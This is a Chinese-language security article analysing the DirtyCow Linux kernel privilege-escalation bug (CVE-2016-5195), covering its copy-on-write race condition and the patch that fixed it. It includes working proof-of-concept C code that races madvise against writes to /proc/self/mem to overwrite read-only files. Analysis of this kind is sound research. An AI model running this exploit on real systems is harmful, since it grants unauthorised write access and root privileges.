首页 > 安全 > 网络安全 >

DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)

2016-11-03

DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年,正如Linus Torvalds所说该漏洞主要由于内存管理方面的竞争条件漏洞,致使非授权用户写入任意文件,进一步利用可以提升权限。

0x0 概述

DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年,正如Linus Torvalds所说

This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a ("Fix getuserpages() race for write access") but that was then undone due to problems on s390 by commit f33ea7f404e5 ("fix getuserpages bug").

该漏洞主要由于内存管理方面的竞争条件漏洞,致使非授权用户写入任意文件,进一步利用可以提升权限。下面分析漏洞原理。

0x1 POC分析

先简单梳理一下POC的几个重要的点,下面是广为流传的一段POC代码:

    void *madviseThread(void *arg)    {      char *str;      str=(char*)arg;      int i,c=0;      for(i=0;i<100000000;i++) { c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) { lseek(f,map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c); } int main(int argc,char *argv[]) { if (argc<3)return 1; pthread_t pth1,pth2; f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1]; map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %x\n\n",map); pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]); pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0; }

上面POC为了紧凑一些,去掉了注释、全局变量等,只保留了主体部分。

main函数将一个只读的文件映射到内存,注意到mmap的flag参数为MAP_PRIVATE,且属性为只读。当后面对该内存写入时,会创造一个cow的映射操作,也就是拷贝一个副本,并在副本里写入。对这个副本的操作,不会影响到其他映射该文件的进程。而且也不会对原文件进行更改。关于为何执行cow操作,后面会分析。之后创建两个线程,是此次竞争条件触发的关键。

第一个线程调用了madvise,一个关键的参数是MADV_DONTNEED

madvise(map,100,MADV_DONTNEED)

madvise是linux一个系统调用通知内核如何处理addr,addr+len部分的内存页,例如提前预读或者是缓存技术。这里用到的MADV_DONTNEED参数,指该部分内存短期不会访问,内核可以释放掉内存页。调用带有MADV_DONTNEED参数的madvise,表明程序不需要相应内存页,如果这些内存页被标记为dirty,则直接丢弃。

另一个线程通过/proc/self/mem文件,尝试向文件被映射的内存写入数据。

lseek(f,map,SEEK_SET);c+=write(f,str,strlen(str));
0x2 漏洞原理分析

这个漏洞关键是两个线程的运行,如何导致了竞争条件,造成越权写只读的内存页。这个过程需要分析源码,在https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails中,已经贴出了漏洞触发的函数调用流程,这里对几个关键地方分析一下。

执行写操作时,内核需要获取相应的内存页,对应的函数为get_user_pages,真正的功能在__get_user_pages中实现。

__get_user_pages{        ……retry:          if (unlikely(fatal_signal_pending(current)))                     return i ? i : -ERESTARTSYS;          cond_resched();          page = follow_page_mask(vma, start, foll_flags, &page_mask);          if (!page) {                  int ret;                  ret = faultin_page(tsk, vma, start, &foll_flags,                                    nonblocking);                  switch (ret) {                    case 0:                           goto retry;        ……}

当上述流程走到case 0时,会循环调用follow_page_mask、faultinpage两个函数。由于第一次调用_get_user_pages,需要处理缺页,会进行如下的调用序列

get_user_page-> faultin_page->handle_mm_fault->__handle_mm_fault->handle_pte_fault->do_fault

当调用到do_fault时,判断要求写属性,且映射页属性不是VM_SHARED,会执行cow操作,相当于创建一个文件映射内存页的副本。如下所示:

do_fault{    ……    if (!(fe->flags & FAULT_FLAG_WRITE))        return do_read_fault(fe, pgoff);    //当不是VM_SHARED的时候,执行cow    if (!(vma->vm_flags & VM_SHARED))        return do_cow_fault(fe, pgoff);    ……}

继续执行:

do_fault->do_cow_fault->alloc_set_pte

其中alloc_set_pte,设置cow的页面为page_dirty,并没有置位可写。如下所示:

maybe_mkwrite(pte_mkdirty(entry), vma)

faultin_page整个流程结束,第一次调用通过cow分配了文件映射内存页的副本文件,且返回NULL。

retry之后,第二次处理流程。首先follow_page_mask函数,调用流程为

follow_page_mask->follow_page_ptefollow_page_pte{    ...    if ((flags & FOLL_WRITE) && !pte_write(pte)) {            pte_unmap_unlock(ptep, ptl);            return NULL;    }    ...}

这里判断通过页表项判断,通过cow获取的内存页是否具有写权限,没有则直接返回NULL。在第一个faultin_page流程里,没有标记可写权限。这里直接返回NULL。

第二次进入faultin_page。但此时和第一次调用faultin_page流程不同,由于第一次已经完成了内存映射,进行了cow操作,这次主要是处理写权限的页错误问题。直接分析与第一次的不同点。

Handle_pte_fault{ if (fe->flags & FAULT_FLAG_WRITE) {            if (!pte_write(entry))                   return do_wp_page(fe, entry);            entry = pte_mkdirty(entry);    }}

此次没有缺页错误,而是处理要求的写权限错误,会调用do_wp_page函数

do_wp_page-> ……->wp_page_reuse

由于之前已经进行过cow操作,所以直接使用cow的内存页,最后一层层返回到fault_in_page函数中为VM_FAULT_WRITE。由此,要求的写权限标志会被去掉,即会去掉FOLL_WRITE标志位,如下所示。

Fault_in_page{    ...    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))            *flags &= ~FOLL_WRITE;}

正常情况下,第三次再调用faultin_page,此时已经成功得到cow后的页面,且flags已经去掉FOLL_WRITE,因此不会再产生写错误的处理,可以直接写入cow的页了。

但是如果在上述流程即第二次页错误处理结束时,调用madvise,会unmap掉前面cow的页面,又进入缺页处理,这里不同的是在do_fault调用时,由于没有了写权限的要求,直接调用了do_read_fault读取映射文件的内存页。这一部分判断在do_fault函数中,继续拿出这部分代码。

do_fault{    ……    if (!(fe->flags & FAULT_FLAG_WRITE))        return do_read_fault(fe, pgoff);    //当不是VM_SHARED的时候,执行cow    if (!(vma->vm_flags & VM_SHARED))        return do_cow_fault(fe, pgoff);    ……}

这样,基本获取了映射文件的内存页,而不是第一次流程中cow的内存页副本。后面已经基本可以完成越权写操作了。

再梳理一下整个漏洞触发流程,这里用一个正常流程做对比:

正常流程:

第一次处理缺页错误,do_cow_fault-> 第二次处理写入权限错误,去掉FOLL_WRITE权限要求->可以写入cow页面

漏洞流程:

第一次处理缺页错误,do_cow_fault-> 第二次处理写入权限错误,去掉FOLL_WRITE权限要求->madvise unmap内存映射->第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。
0x03 补丁分析

补丁加入了一个标志位,标识之前进行过COW

+#define FOLL_COW   0x4000  /* internal GUP flag */

faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))-       *flags &= ~FOLL_WRITE;+       *flags |= FOLL_COW;return 0;

follow_page_pte对COW的内存页单独判断。如果要求写权限,要么内存页可写,要么是COW的副本页,且被标记为dirty。

+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)+{+   return pte_write(pte) ||+       ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));+}follow_page_pte{...-   if ((flags & FOLL_WRITE) && !pte_write(pte)) {+   if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {        pte_unmap_unlock(ptep, ptl);        return NULL;}

1、修改后,对COW的强制写入,不必去掉FOLL_WRITE权限要求,这样不会引发后面直接去获取文件映射内存。

2、follow_page_pte加入FOLL_COW的判断,同时加入了对dirty标记的判断,这样才能确保FOLL_COW标志有效,即该页表项还存在。

至此,整个漏洞原理基本分析完毕。

相关文章
最新文章
热点推荐